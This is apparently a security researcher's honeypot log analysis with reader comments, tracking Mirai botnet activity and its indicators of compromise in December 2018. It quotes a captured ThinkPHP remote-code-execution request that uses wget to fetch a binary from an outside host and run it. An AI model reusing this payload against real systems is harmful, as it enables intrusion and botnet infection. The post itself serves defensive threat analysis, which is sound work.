While reviewing my honeypot logs, I found some interesting entries associated with the Mirai botnet starting the 30 November 2018. This is the last log sample that was captured 2 days ago:
20181221-233854: 192.168.25.9:80-126.96.36.199:56831 data 'GET /index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars=shell_exec&vars=cd%20/tmp;wget%20http://cnc.junoland.xyz/bins/egg.x86;cat%20egg.x86%20>%20lzrd;chmod%20777%20lzrd;./lzrd%20thinkphp.x86 HTTP/1.1\r\nHost: 127.0.0.1\r\nUser-Agent: Sefa\r\nAccept: */*\r\nAccept-Language: en-US,en;q=0.8\r\nConnection: Keep-Alive\r\n\r\n'
Looking at the entry, I noticed a URL that appears to attempt to download a file of interest (egg.x86). After checking the site, the filename had changed to larry.x86 and checking this hash against Virustotal, it shows an attempt to add this host to the Mirai botnet. The sites (listed below) have various exploits for various system including X86, MIPS, Internet of Things (IoT),etc. This is the list of files observed yesterday morning:
This is the list of files later that day:
Based on what I have been able to observe, the files appears to be modified at least twice each day (MD5 & SHA256 below) to fool and avoid detection.
Yesterday's MD5 & SHA25 Hashes
cnc.methaddict.xyz (currently offline)
Dec 23rd 2018
3 weeks ago
New IOCs were detected on Dec 23,2018. IP addresses (188.8.131.52, 184.108.40.206, 220.127.116.11) were found related to domain: cnc.junoland.xyz.
18.104.22.168 was found hosting the above domain (cnc.junoland.xyz). For (22.214.171.124, 126.96.36.199) were found as the source of malicious scanning activity containing egg.x86 file as an attempt to be downloaded on victim's device and by more investigation, 188.8.131.52 is an HTTP server running Apache/2.2.15 (CentOS) related to Ezybill.net. And by going deeply Ezybill.net was found related to 184.108.40.206 which found to be hosting other multiple malicious domains.
- 220.127.116.11 (India)
Dec 24th 2018
3 weeks ago